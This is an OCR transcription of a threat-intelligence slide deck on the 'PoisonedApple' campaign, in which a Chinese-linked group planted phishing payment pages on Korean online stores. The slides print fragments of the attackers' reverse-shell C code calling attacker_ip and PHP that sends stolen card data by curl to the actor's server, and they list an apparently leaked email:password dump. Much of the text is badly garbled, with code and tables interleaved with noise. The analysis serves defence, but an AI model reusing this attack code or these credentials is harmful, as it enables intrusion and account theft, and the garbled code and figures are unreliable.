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Who are we?

Gyuyeon Kim

« Senior researcher at Financial Security Institute
 Focusing on incident response in Korean financial
companies, digital forensics and cyber threat intelligence

Hyunho Cho

* Principle researcher at Financial Security Institute
* Focusing on investigation of security incidents, digital
forensics, penetration tests and vulnerabilities analysis
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Introduction

Discovery of the operation



Discovery

September 2022 November 2022

select payment method select payment method

Payment method g7 v Payment method 27 v

general payment general payment

Credit card number Credit card number

Expire date 01~ 2022 ~ Expire date 01 v 2022 v

CVC number ) CVC number

* FIESIRIO| 2K} 5 OFX|9) 3K}2 * FIESIRMO| KX} B OFX|9} 3X2|

Resident ID number Resident ID number

Card PIN R E Card PIN TR
Amount @ 79,900 ¥ Amount @ 79,900 &
B [2:0] &2 } m FRi0f Ho }

online store A online store B
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Initial Analysis of phishing pa/iﬁnent pages

 Returns the phishing payment page’s URI Response from legitimate site

HTTP/1.1 200 OK
Date: Tue, 29 Nov 2022 05:12:07 GMT
Server: Apache

Request to checkout X-Powered-By: PHP/5.2.17
Cache-Control: no-store
POST http:// /shop/conf/card/kcp/mobile/ Content-Length: 156
order_approval.php? Connection: close
site_cd=GKI5M&ordr_idxx=1669698692301&good mny=285000&pay Content-Type: text/ntml
_method=CARD&escw_used=N&good name=XP%20%C7%ED%BB
%E7%20%C5%B8%C7%C1/MDX+&Ret_URL=http:// 0000,7gYCILSISkgfSvIxjFNQcHyKIPdQ/IE35VBPEo01cQ=,https://
/shop/order/card/kcp/mobile/card_return.php rsmpay.kcp.co.kr/pay/mobileGW.kcp
HTTP/1.1
Host:
Connection: keep-alive Response from compromised site

User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114
Mobile Safari/537.36

Accept: */*

Referer: http:// /m2/ord/settle.php
Accept-Encoding: gzip, deflate X-Powered-By: PHP
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Cache-Control: no-store
Cookie: PHPSESSID=9297b661d4caa2100650f5f9¢14f6911; Connection: close
godolLog=20221129; shop_authenticate=Y:; Content-Type: text/htm

HTTP/1.1 200 OK
Date: Tue, 29 Nov 2022 05:25:33 GMT
Server: Apache

0000,t1yoaefNR+59F TMNxfxfuAcHyKIPdQ/IE35VBPEo01cQ=,/shop/
skin_ori/campingyo/order/card/ KCP/mobileGW.php?url=https://

phlshlng payment page’s UR| €« rsmpay.kcp.co.kr/pay/mobileGW.kcp
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Step 1 Step 3
Analysis of Korean online Steal user’s credit
card payment system card & personal info

Step 2 Step 4
Hack into online Monetization via
stores, insert phishing fraudulent payments

payment pages (3 schemes)



Why Notable?

#1. Stole additional authentication information for fraudulent payments in Korea

select payment method

\\ Payment method 7=
\\ general payment

Credit card number

4
X\

Expire date 01 v 2002 v
,,, CVC number pa—
,,, * FIE SIS X & OpX|9} 3X2

Resident ID number additional information
Card PIN required for authentication
2 X} 4~6X}

1234 5678 9012 3456
Daniel Johnston 06/16 ‘

Additional
Password

Amount

l = s e— m cancel

phishing payment page



Why Notable?

#2. Monetized fraudulent payments and handled the entire process themselves

source of leakage steal credit card typical methods
K r Sell on the \

ﬁj dark web

>, [EEp = R
% = o / / === llegal
Card reader POS ATM @ K | duplication J
<

= = a2\

/ . ®
User’s PC g,og",'i',i,""mu [ Ej‘ fraud = 2
8 o payment [F =) [F 7~ 9
K U J = @) [®




Operation
PoisonedApple

Analyzing the entire process
from credit card information theft to fraudulent payment



Resource Development

o Utilized server hosting Vultr and Cloudflare’s CDN services to hide the real IP

Domain i . Utilization of
Creation Date Domain Real IP Function Cloudflare
2022.03.13. Stori dit card and
(Currently payynwtuu.net | 141.164.55.248 | ~>toringcreditcardan 0
expired) personal information
2022.11.02. pay.ynwtuukf.net 141.164.55.248 | Storing crgdit card.and @)
personal information
- Phishing sites targeting
aykep.pekr | 141.164.55248 | Payments 0
2023.02.25. PAY-REP-P - Storing credit card and
personal information
- Phishing site
impersonating a hacked
2023.02.11. #r**mall.co.kr Unknown shopping mall 0
- Identity verification
phishing site
- Identity verification
2023.03.06. noons.kr Unknown phishing site o 0]
- Duty-free shop phishing
site

generate_password_hash( ) {
crypt(plaintext_pw, salt);

generate_passwd_line( Userinfo u) {
const format ! "
size = snprintf(NULL, ©, format, u.username, u.hash,

u.user_id, u.group_id, u.info, u.home_dir, u.shell);
ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);

ret;
}
o10{: | g=0f v|
Adminer 481 279l

clojEjiol2 &4 [MySQL v
M | localhost |
ngHolg | |
HlYHS [ |
doleols | |

[ 232l | Og7xez 2ael
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Initial Access to Online Stores

* Employed various methods to initially access

victim online store

---------------------------------------------------------------------------
]

‘‘‘‘‘‘

o .

1. Execute SQL injection to
acquire admin credentials

N
O . 2. Upload a webshell using E > |
o platform vulnerabilities
)

the threat actor

*
‘e, ot
‘e .
" us
......................................................................

/ 3. Hack the administrator
panel



Phishing Toolkits

 Uploaded toolkits containing all necessary phishing-related components

< WWW g0 = [0 &2 T

© v Q

PHP

bc_ok.php

PHP

hanacard1.php

PHP

le.php

PHP

phonekb.php

PHP

xandai_step1.php

PHP

bc.php

PHP

hanacard2.php

PHP

le1.php

PHP

shanxing_ok.php

PHP

xandai.php

PHP

bcl.php

PHP

huaka.php

PHP

mobileGW.php

PHP

shanxing_step1.p
hp

PHP

xandail.php

PHP

bc2.php

PHP

huakal.php

PHP

nh_ok.php

PHP

shanxing_step2.p
hp

PHP

xinghan_ok.php

PHP

checkCardBin.ph
p

PHP

index.php

PHP

nh_stepl.php

PHP

shanxing.php

PHP

xinghan_step1.ph
p

PHP

checkRedirectAp
prvJson.php

PHP

kb_ok.php

PHP

nh.php

PHP

shanxing1_step1.
php

PHP

xinghan.php

PHP

error.php

PHP

kb_stepl.php

PHP

nh1.php

PHP

shanxing1.php

PHP

xinghanl.php

PHP

hanacard_ok.php

PHP

kb.php

PHP

payerror.php

PHP

test.php

PHP

hanacard.php

PHP

kb1.php

PHP

phone.php

PHP

top.php

PHP

hanacard1_step1.
php

PHP

le_ok.php

PHP

phonecc.php

PHP

xandai_ok.php



141.164.55.248 - Linux - whoami(www) - $ikid(1000) gid(1000)$¢ - $aXySqliie

EEXE EREEE HOTEE BRES0 KuDEERIP {RuOPHP  HuOSQL 4diIE#fT . shell( ){
$# X % ﬁVERSION i I ‘f““i_d;‘i ST L L ’
SR |/ www/wwwroot/pay. ynwtuu.net “ R | g ER| gsgﬁa:\IWl 50 :
— — , , T r—— sockaddr_in server_addr;
EREEE pegs-| (amrEE EAEEE e a2 |Mus g gs [ama | BEHHEMEREHA | CTYT S T A
=, ’
ARREDS ‘ B ‘ zﬂé@ ’ EREMEN HOSMRER A ‘
eximbay_lgdacom .ﬁjﬂg 2| 0755 12022-03-12 15:14:22 | 2022-03-12 14:55:55 - Sd( dEUf-‘ﬂ“)f ¢ (AF_INET: SOCK_STREAMr ) ’
——r S ’
S Fimie ihia o . e e _ ‘ ) .
inicis o 0755 |2022-03-20 21:53:12 |2022-03-20 21:53:12 server gethos Ltgwww;—me(attacker_lp) :
kep fffﬁﬁ 5755 12022-03-12 15:14:22 | 2022-03-12 14:55:56 - (server NULL) ’

1

coon Y SO bzero(( ) &server_addr, (server_addr));
C ” ZA= 02 =1 8 5 AL T P = =1 h ey AL T = . .
P i - server_addr.sin_family = AF_INET;

\;‘ 2 If.; _ R _ R Ipp— i
krpay ’;' "2 0755 |2022-12-23 16:44:01 |2022-12-23 16:44:01 |- bcopy ( ( )server—>h_addr, ( )&server_addr.sin_addr.s_addr,
Igdacom *{f'ﬁg MR 0755 |2022-03-12 15:14:22 |2022-03-12 14:55:58 |- (Sj:rver h—lingtr) ’ (attack )

ih L -

= server_aqdr.sin_por ‘'tons(attacker_port);
nate frfﬁﬁ B 1755 |2022-04-23 02:22:30 |2022-04-23 02:22:30 |-
pay }i-‘"m R | 2c5 [2022-06-03 15:57:57 |2022-06-03 15:57:57 |- (connect(sd, ( sockaddr *)&server_addr, (server_addr)) )

1
test frfﬁﬁ MR 0755 |2022-06-02 23:34:25 |2022-06-02 23:34:25 |- '

h

Zi i i e -03-12 14:21:35 |- write(sd, MOTD, strlen(MOTD));
ynw i 0755 2022-03-12 15:14:22 |2022-03-12 14:21:35 write(sd, M , strlen(M -

“).user.ini Efe’“ % | 0644 |2022-03-12 15:08:05 |2022-03-12 15:08:05 478

h

J1.txt Efe’“ iR 0755 2022-05-02 18:44:23 |2022-05-02 18:44:23 89 B
2.php E*ém 5755 12022-04-24 14:44:05 | 2022-04-24 14:44:05 48 B

1
—3.html Efe’“ % | 5755 |2022-04-22 23:30:50 |2022-04-22 23:30:50 3.08 K di ”ﬂ ( sd ) )

i aups ’ ’

Tdirty.c rim" B 0755 12022-05-03 23:28:15 | 2022-05-03 23:28:15 4.69 K dup2(sd, 1);
mysql.php f*ﬂm B 1755 |2022-05-08 17:53:32 |2022-05-08 17:53:32 356.21 K dup2(sd, 2);
. T execl(SHELL, SHELL, ( )0) ;
“nmap m e R 10755 |2022-05-02 21:25:12  |2022-05-02 21:24:59 807.89 K close(sd);
“lopenssh-5.9p1.tar.gz E*e” B 1755 |2022-05-03 20:32:15 |2022-05-03 20:32:15 1.11 M }
h
pay.ynwtuukf.net.rar ‘E@m L 0755 12022-03-12 15:14:22 2022-03-12 15:14:13 8.79 M

h
_phpMyAdmin-3.4.7.1-all-languages.tar.gz Irif@"" iR 0755 12022-04-28 22:36:20 2022-04-28 22:36:20 5.44 M
Trevshell.c Efe’“ % | 0755 12022-05-02 16:10:08 |2022-05-02 16:19:08 3.46 K i e ( ){

e p1lng_Ll1Stener

sshd_config ri*’g” 32 | 0755 12022-05-03 21:17:43 | 2022-05-03 21:17:43 3.45K sockfd;
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enter info transmit data php transmit data =) 5

victim phishing phishing threat actor’s
payment page related pages server
collect collect
personal info account info
sqL php
store’s store’s

database web server



 Manipulated the legitimate payment page to redirect users to the phishing page

phishing
payment page

(1$ COOKIE[® '] & $_GETI["
'1<50){
($datel $datel<){
setcookie(" o

printf( "%s,%s,%s,%s", $payService->resCD,

"1 “ ' &8 $sess|]

", time()+ ) ;

str_replace(

SapproveRes—>approva lKey,

’

payUrl), $payService->resMsg );
b ($date= $date==0){

il il

setcookie(" | ,

printf( "%s,%s,%s,%s", $payService->res(CD,

str_replace("

.

payurl), BpayServiCe‘ resMsg );
s {

", time()+ ) ;

$approveRes—>approvalKey,

i1 il
I

', SapproveRes—

1, SapproveRes—

legitimate payment

> gateway’s page
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Manipulation of the Iegitimaté/payment page\\

-t KCP X

Polo Shirt (White)
. select shipping method 30 $

select payment method
ORELE
Shipping () =48l Payment method #gsic v

O uesd

Agree to terms and conditions |

payment amount general payment

p— Credit card number [ Simple payment @ Standard payment
Shipping 6,000 # Expire date 01 v 2022 v
. £ 17| B2 EXH|(CE 4X|2) 3,00090] E3HE PAYCO 1% cashback on points
total 36,000 £ CVC number
payment method ISHEEEA S A e == Interest-free for 2-3 months
Resident ID number
payment e  Interest-free for 2-3 months @
N Card PIN .
) mobile (O virtual account Additional (M = AL lotte hana nonghyup
Password YR+ A+ S EBA 6~164}
. . WOOori citi + more
. Purchase confirmation

- Amount OLE:

terms || 7ohsta aEel 4EHE U 7124 gelsigo , )
OIS HENE, (FREARE AR Doz seipics NHIS7IE 2~478 SO|Xt B

| cancel_ echeckout JEETIR

BA| JFFC UL LAY FOIA0HE 2/3

1] _ 11 _ |

inserted the phishing payment page
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e Extracted users’' personal information(Name, ID, PW, IP, etc) using session variables

(file_exists($_SERVERI' ‘1.0 "L
$_SERVERI" D "
$ SERVER]|' :

session_start();

ini_set(" e %

}

header(" DY

request_by_curl($ y $ ) {

$ch = curl_init();
curl_setopt($ch, , $remote_server);
curl_setopt($ch, , $post_string);
curl_setopt($ch, , $_SERVERI[' '1);
curl_setopt($ch, , true);
curl_setopt($ch, , FALSE);
curl_setopt($ch, , FALSE);
curl_setopt($ch, ,

$data = curl_exec($ch);
curl_close($ch);

¢data;

'.$_POSTI[" '1.$_POSTI[" '1.$_POSTI[" '1.$_POSTI[" ‘1. '.$_POSTI["
] '.$_POST[' 1.0 '.$_POST[' '‘1.$_POSTI' ‘1.0 '.$ SERVER["

].' '.$ _SERVER[' ‘1. '.$ _SERVER[' ‘1. '.$ing. " '.$sess [’ "]
“ ‘. $datall’ -
$str=f1ile_get_contents("

unlink(' ") ;
copy(session_id()." L )
unlink(session_id()." ')

request_by_curl(" ', $str.$post.’ '.$_SERVER['
s



Data exfiltration

e Transmitted and stored all collected information on the threat actor's server

curl_setopt($ch, , $remote_server);

curl_setopt($ch, , $post_string);

curl_setopt($ch, , $_SERVERI' '1);

curl_setopt($ch, , true);

curl_setopt($ch, , FALSE);

curl_setopt($ch, , FALSE);

curl_setopt($ch, , ! ');
curl_setopt($ch, ,

$data = curl exec($ch);
curl close($ch);

¢data;

$str=file_get_contents '$_POSTL'
_POSTI" '1.$_POSTI[" '1.'-'.$ _POST["
“ '.$ SERVER[' e
_POSTI' ‘1. ' $ ' $_POSTI' '1;
request_by curl( ' $str);

I

'
request_by curl(" , $str

I

\“v'
)
\/
Yy __

1

Card number Expiration Date CcvC SRRl Card PIN ACEUEREL Address
number password
Name Mobile Number Onlln? S Onllr!e SLIC User’s IP Browser Details Referer
login ID login PW

Stolen information item
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Detection Evasion: Masquerading

 Phishing page's filename and path masquerading as the legitimate one

File name Description
Payment.php Same as manufacturer A's platform payment module file name
mobileGW.php Same as the APG company's payment module file name
inicis.php Same as the C PG company's payment module file name
eximbay.php Same as the payment module filename of the overseas agency

phishing payment page's filename

Pathname Description

[shop/skin_ori/designshop/order/card/KCP/ | APGcompany payment module path

[shop/conf/lgdacom_mobile B PG company payment module path

[shop/skin_ori/standard/order/card/inipay C PG company payment module path

phishing payment page’s storage path
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Detection Evasion: Time-Based Evasion

Check current date and time

date_default_timezope’ set(" ");

$date=date("w"); . -

sdatel=date("G"); Display only on weekends and weeknights
(!$ COOKIE]' T[' '] =" ' && $sess|[! '1<50){
(sdatel>15 || $datel<s)

?  setcookie(" . | | ", time()+ )5

printf( "%s,%s,%s,%s", $paySeryice->resCD, $approveRes—>approvalKey,str_replace("

} {$date==0 || $date==6)}{

setcookie(" orID","z Fh "o time()+ );

printf( "%s,%s,%s,%s", $payService->resCD, $approveRes—>approvalKey,str_replace("

+ {

If no cookie, display the phishing payment page
date_default_timezone set(" ") ;

$date=date("w"):

sdatel=date("G"): Set cookie after displaying the phishing payment page

('$_COOKIEI' & $_GETI! '] = ' &L $sess|[f '1<50){
71 (¢datel>12 || Sdatel<2){
72 |setcookie(" o " time()+ F
’ printf( "%s,%s,%s,%s", $payService—>resCD, S$approveRes—>approvalKey,str_ replace("
} (¢date==0 || $date==6){
setcookie(" o " time()+ F

", $payService->resCD, $approveRes—>approvalKey,str _replace("

o

printf( "%s,%s,%
} {

printf( "%s,%s,%s,%s", $payService->resCD, $approveRes—>approvalKey, $approveRes—>payUrl, $payServic
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- p.pe.er/f(:aar(.1/‘,\[‘:1;.:'\'Hequest.;;:ﬂ'|p S C & pay.kep.pe.kr/card/smpiRequest.php
Standard payment Lotte Card
H daiCard i ;
[ Hyundaicard | Simple payment Simple payment Standard payment _
ZH7IES 0| HHFA= Sl AL
App card payment " usage location KCP SHOP
“Amount 443009
Credit Card Credit card number
' CVC number
Credit card number 2222 sese  seee PIN number payment @
6Xt2| =Xt=2 ZHHSHA| (PayShot &)
Expire date®* * /[ ® o
Standard payment
CVC number * * ItIEHS Z ZH| (7|1E SE =D 7HS)
P
CardPIN * o & BCcard
N Standard payment
Resident ID number . =1-4 Credi pay
redit card number
Additional
Password Expire Date
Amount 1 389850 ¥
CVC number Card PIN

THE A BOUME)HE M3 Y2 &2

Check out

iImpersonating simple payment and major credit card companies
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Three ways to Monetize

Case #1 Case #2 Case #3

Refund after fraudulent Sale of the item and Exploit of the Apple Store's
payment on the second- fraudulent payment ‘Someone else Pick-up’
hand trading platform on the open marketplace policy



 Requested for cash refund after payment for an item on second-hand trading platforms

® Request a refund from the seller in cash,
As an apology for canceling the bearing some costs.
purchase, keep the $20 and
refund me the remaining $180.

s, » 0.®
mﬁr I_‘ @ Fraudulent payment using stolen card info |'|Q|7 ngn
for items on the second-hand trading platform buyer
stolen card the threat actor second-hand
info from trading platfrom
phishing page T

© Seller transfers the specified amount to the account provided by
the attack group (refund)



o After the sale of the item, fraudulent payments were made on the open marketplace

O Use stolen card info to make fraudulent

t for th duct & fill in th
@ Sell electronic devices on the Eﬂi’/g}?sna dcc)irr ess flf)rrodeulicveryl in the

second-hand trading platform () o)

mﬁ
l l
the threat actor  stolen card info

from phishing page r
O.® A A=7A

4) o O
I ;‘ t; \ © Buyers transfer the amount PAS
second-hand of the items to the attack open
trading platfrom group’s account marketplace
T <
@ Buyer contacts the attack O Item is shipped to the buyer’s address

group(seller) to purchase the item buyer



e Chatted with the threat actor

24875415706

ltems for Sale

Newest
First

$ 220
Apple watch SE

+734

e
Hy

40

OK

754157062

Is it available?

Hi there! Yes, it is available for purchase.

May | know your location?

I'min Seoul.

You can pick up the product at any Apple Store
branch in Seoul, including Yeouido, Jamsil,
Myeongdong, or Garosu-gil.

Once you let us know which store is convenient
for you, we'll place the order accordingly.

Once we place the order, you'l receive a

QR code via text message. Simply go to the
selected store, show the code to one of the
staff members, and collect your product.

You won't need to make a separate payment
at the store. After collecting the product,
you can make the payment to us.



Case #3

 Exploited of the Apple Store's ‘Someone else Pick-up’ policy

© Use stolen card info to make
fraudulent payment attheonline
second-hand trading platform Apple Store(choose 'Someone else Picks Up’)

the threat actor stolen card info

from phishing page /\
o A (@) 73
P SA

© Buyer transfers the online Apple offline Apple
second-hand amount of the item to the Storep P Storepp

trading platfrom attack group’s account

O Sell Apple electronic devices on

W

@ Buyer contacts the attack O Buyer picks up the productin
group(seller) to purchase the item buyer person at the offline Apple Store



Now fill out your pickup information.

Who will pick up your order?

Someone else
will pick it up

I'll pick it up

First Name

Last Name

Email Address

Phone Number

| Send pickup notifications via text message to the phone
number above.

What's your contact information?

Email Address

Phone Number

Bring the following for pickup:

¢ The person picking up the order should bring a valid
government-issued photo ID and the order number.

¢ Your contact will get an email and a text when the order is
ready for pickup.

View Apple Pickup Policy »

For best service, please arrive during your reserved time or
you may experience a delay picking up your order. Your order
will be held for 7 days.

The threat actor filled the buyer’s info
into the recipient’s details field.

We'll email you a receipt and order updates.

The phone number you enter can’t be changed after you
place your order, so please make sure it's correct.



Attribution

EvilQueen : Uncovered a new Chinese threat actor



 found an email address of the threat actor in the phishing page's source code

tbody id=" | =""display: A

td><1label = '>0|0|FEA</1abel td

="width: 2 ="ynwtuukf@zohomsail. com td




OPSEC failures (1/3)

ynwtuukf ~ » ynwtuukf.net ~—— ynwtuukf.net/test.php » ynwtuukf.net/mysql.php

141.164.55.248 - Linux - whoami(www) - #ilid(1000) gid(1000)#i¢ - EySqliié

< C a
BEXS WAMBE GOWEY ZRWS0 BuORAP BuOPHP KuOSQL HAFEMRT
o o R ® veston o 2lof: [E=of V]
SO roct y EZR BIEHe sHWM e
EEEEE R ANREE SEUAE oy aw | ve ame | ARLZMUMRERS -
= Adminer a.8.1 23¢9l
ARREOY LU byl 2L LT NOUEER

eximbay_lgdacom

I e dlojejufol2 #4l [MySQL v
N  ynwtuu.net — T

i iaie
Ir3 e

kcp

e e . : F AL8A0IE 1
kept p 55 |2022-09-16 22:47:02 | 2022-09-16 22:47:02

E201 I 1L . p HYHS ‘
krpay - 5 |2022-12-23 16:44:01 | 2022-12-23 16:44:01

= A

A e y g G|0|Eft|0| & \
lgdacom % 5 12022 2 15:14:22 2022 12 14 8

i e |, 2719 | Jg+Eez 219l

“— ynwtuukf.cn » pharming malware

G

\

6a44f0942c2bbc8643016d96602e9e27
1ba8b781aa146decOe3ed43824b249a4



OPSEC failures (2/3)

ynwtuukf » email accounts dump ——<— ynwtuu@126.com

hanggquaz523654@126. com: zhank 157964
neuetag@l26.com:9011014
coserwel@l26.com:456123b
jqiqiqljr@126.com: 1jri19721227261jr — ynwtuu@att.net
13751880890@126.com:81753candy
twenkle@126.com: pJn81129

N ynwtuu@hotmail.com ~—— china-metamask.tw

fanlljun1588888@126 com: 99997618
yiwa2005@126.com:551120
ouyifengl4@126.com: 1Pf94j2wvB

—— ynwtuukf@zohomail.com < »  metamask3.tw

——  metamask3.cn

accounts dump source: https://www.virustotal.com/gui/file/c25fb3e834316f7c013df5446da1786f4483266f6d56701304af0c41fdfc1577
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Correlation analysis
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a3283e...e7dd ynwtuukf.cn @ allthatmall.co.kr
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JRRTELE metamask ph|sh|ng ............................................................................ ) ff7347...fa28
’ . co
WWW
0 defi-con.cn tuukf@zohomail.com
- A §
W W : 967¢49...9726
141.164.62.195 ]
SO

web-cot.com
¢ 91f830...7892

: 75f0c8...de775

metamask3.cn

103.60.109.137

.
. .
........................................................................................................................



Timelines

Operation “PoisonedApple”

targeting Korea and Japan Duty-free and Outlet phishing

Various web hacking * .
_ _ targeting Korea and Japan
targeting Korean websites
® ®
2015 ~ 2017 July 2022 December 2023 |
2009 ~ 2016 2021 ~ 2023 May - JuIy 2023
o
Malicious Apps disguised
¢ as obituaries

Metamask phishing

Pharming malware targeting Taiwan and China
targeting Korea

targeting Korea



Timelines

Duty-free and Outlet phishing
targeting Korea and Japan

July 2022 December 2023

May - July 2023

Malicious Apps disguis
as obituaries

letamask phishing targeting Kore

g Taiwan and China
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Metamask phishing site andé]ﬁps

J/

v

B METAMASK e created multiple domains for
MetaMask phishing

A crypto wallet &
gateway to s228.77
bIOCkChain apps «» ) Exactly Matching v ynwtuukf@zohomail.com

6

- domains
Start exploring blockchain applications in seconds. Trusted g 2em Expand Your Search
by over 1 million users worldwide.
'0.20 DAI
Narrow Your Search
Download now . Search
Download Report Displaying results: 1 - 6 of 6 Prev Next
LEARN MORE
v

Domain Name Create Date Registrar

china-metamask.tw - -

cn-metamask.cn 2024-02-20 --

Buy, store, send and swap tokens

_ defi-cot.cn 2023-08-15 --
Available as a browser extension and as a mobile
app, MetaMask equips you with a key vault, secure
login, token wallet, and token exchange— metamask2.cn 2022-08-08 DYNADOTCHINA LLC
everything you need to manage your digital
assets. metamask3.cn 2022-08-23 DYNADOTCHINA LLC

metamask3.tw - -

r 5
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Impersonation of a famous
department store in Korea

Apple OLOJZHE 10.2 202199M|CH Wi-Fi Apple 2022 OFO|THE 0|0 SM|CH AMIFIRE 2 AIQIXIS 44mm EFFA 003t T2 2M|CH ERFA 0[0Z

¥350,000¢ ¥650,000 ¥200,000 ¥250,000¢!
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@ outlet-mallon.com

Refrigerator Dryer

Dishwasher

iz
-]

08H 172(5)

kkkyyy /

Sales TV  Refrigerator Dryer Dishwasher Smartphone

JIE HE

492

name
card companies

m
Il

expire date

credit card number -
cve

birth date f
credit card password

installment months v

Stealing credit card and personal information



»

| regret to inform you of e
the passing of my father. ] L
funeral notice

JURI

Funeral information:

https://t.ly/A CBz

During a long iliness,
my father passed away
last night. The funeral

s s
arrangements will e . days ag APK @
proceed as follows. " score

Score

(1) 23/63 security vendors and no sandboxes flagged this file as malicious

Q Follow C Reanalyze & Download v = Similar v  More Vv

2327880e02c54¢92b7889fdf63aad9171410c47cb5e42251568068c5d675baec

DETECTION DETAILS RELATIONS CONTENT TELEMETRY COMMUNITY

View

Crowdsourced YARA rules O

/\ Matches rule Windows_API_Function from ruleset Windows_API_Function at https://github.com/InQuest/yara-rules-vt by InQuest Labs
L

This signature detects the presence of a number of Windows API functionality often seen within embedded executables. When this signature alerts on an executable, it is not an indication of malicious
behavior. However, if seen firing in other file types, deeper investigation may be warranted.

Security vendors' analysis on 2024.02-29T11:08:225UTC WV

o
Popular threat label (©) trojan.soumnibot/malformed Threat categories Family labels

AhnLab-Vv3 @ Trojan/Android.SMSstealer.1215298 Alibaba @ TrojanBanker:Android/SoumniBot.bl16b...
A7t 2919) 9%

Antiy-AVL

@ Trojan/Generic.ASMalwAD.EDF Avast-Mobile @ Android:Evo-gen [Trj



Linked with China
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Linked with China

Domain Name: ynwtuukf.net

Registry : 191/446201_DOMAIN_NET-VRSN
Registrar WHOIS Server: whois.hichina.com
Registrar URL: http://www.net.cn/

Updated Date: 2015-04-08T07:42:21Z

Creation Date: 2015-04-08T07:42:21Z

Registrar Registration Expiration Date: 2016-04-08T07:42:21Z

Registrar: HICHINA ZHICHENG TECHNOLOGY LTD.
Registrar IANA ID: 420
Registrar Abuse Contact Email: abuse@list.alibaba-inc.com

Registrar Abuse Contact Phone: +86.4006008500
Reseller:

Domain Status: ok http://www.icann.org/epp#0K

Registrant Name: Han Cheng Xiang

Registrant Organization: Han Cheng Xiang
Registrant Street: Shan Dong Zhang Dian Qu,,
Registrant City: Tian Jin Shi

Registrant State/Province: shan dong
Registrant Postal Code: 523645

Registrant Country: CN

Registrant Phone: +86.0213565373

Registrant Phone Ext: 3423

Registrant Fax: +86.0213565373

Registrant Fax Ext: 3423

Registrant Email: ynwtuu@l26.com

Registry Admin 1ID:
Admin Name: Chang Ping

Profile

A8 E20|E H|0]#|0f

ynwtuukf@zohomail.com

nickname
(HES
gender country
234 = X3
language timezone

(GMT 0:00) B #ELEa 17T 8] (Europe/London)

phone number

AYDUEE LE RUEHSE 22 #2|gLCh

(+86) 17050896830

) LA X




EvilQueen

Uncovered a new Chinese Threat actor has been active at least since 2009.

Objective : Monetization through financial information theft

Targets : Korea, Japan, Taiwan

Tools : Chinese Webshell, PHP-based phishing pages, Dirty Cow, Adminer, etc.

TTPs : Phishing, Fradulent Payments, Malicious android apps, etc.

Resource Initial Access Persistence Defense Evasion C&C
Development

Command and
Scripting Interpreter:

Masquerading: Match

SEAEIERIGE Legitimate Name or

Acquire Infrastructure: Exploit Public-Facing Application Layer

Automated Exfiltration

Domains Application Unix Shell Component: Webshell Location Protocol: Web
Acquire Infrastructure: Phishi Valid Accounts: Indicator Removal: Exfiltration Over C2
Virtual Private Server Shing Local Accounts File Deletion Channel
Obtain Capabilities: External Remote

Tool and Exploits Services Ui B [Byzslon



Recent Incident

"OH= &M ELt FIE R 1250012 HF|IEH=|"... $10,000 was charged on a stolen
Xz HE card at an apple store...

A stolen card was used to make a $10,000
payment at an Apple store, but Apple's refusal
to cooperate due to internal regulations has
hindered the investigation. Despite Mr. Yoon's
efforts to report the incident to both the card
company and the police immediately, Apple's lack
of cooperation has led to over a month of
iInvestigation delays. Apple's refusal to provide
any information, citing internal policy, has
sparked criticism both domestically and in the
TLICHSE F1E 2 12502H210] O DREIOA ZRHSH=C]| O 20| L{E 7RIS 0|92 United States, despite the company's emphasis
SZSIX| Q0 AP KIS 24T QICH= ARAO| YRRICE on privacy protection.

A7 | 3igA| B 4T S0l 22 ¢ OIS OREAREI=R w2

source: https://www.hankyung.com/article/2024020827807



Conclusion

Takeaways



2023 Cyber Threat Intelligence Report

Cyberattack Analysis :
Activity : Theft of credit card and personal data using phishing

pages on online stores, fraudulent payment and monetization

Victims : Over 50 online stores, Over 8,000 cardholders, and
5 millions of personal information.

Geographical scope : Korea, Japan

7

Period of activity : 2 years

N \
PR :
\T::B’» "‘ P .\'tl)._.

i

Revenue : $ 400,000

by MNewly Undercovered Group EvilQueen

Whitepaper Download QR Code $







Black Hat Asia Sound Bytes//

 Through analysis starting from small clues, we ultimately discovered phishing pages
spreading widely online and identified various attack activities.

e Attackers are developing new novel schemes for financial gain, making it very
important to continually explore and share new skills and tactics to respond to
upcoming greater threats.

e Collaboration among stakeholders played a crucial role in minimizing the attack's
impact, highlighting the essentiality of collaborative response for enhancing
resilience against incidents.
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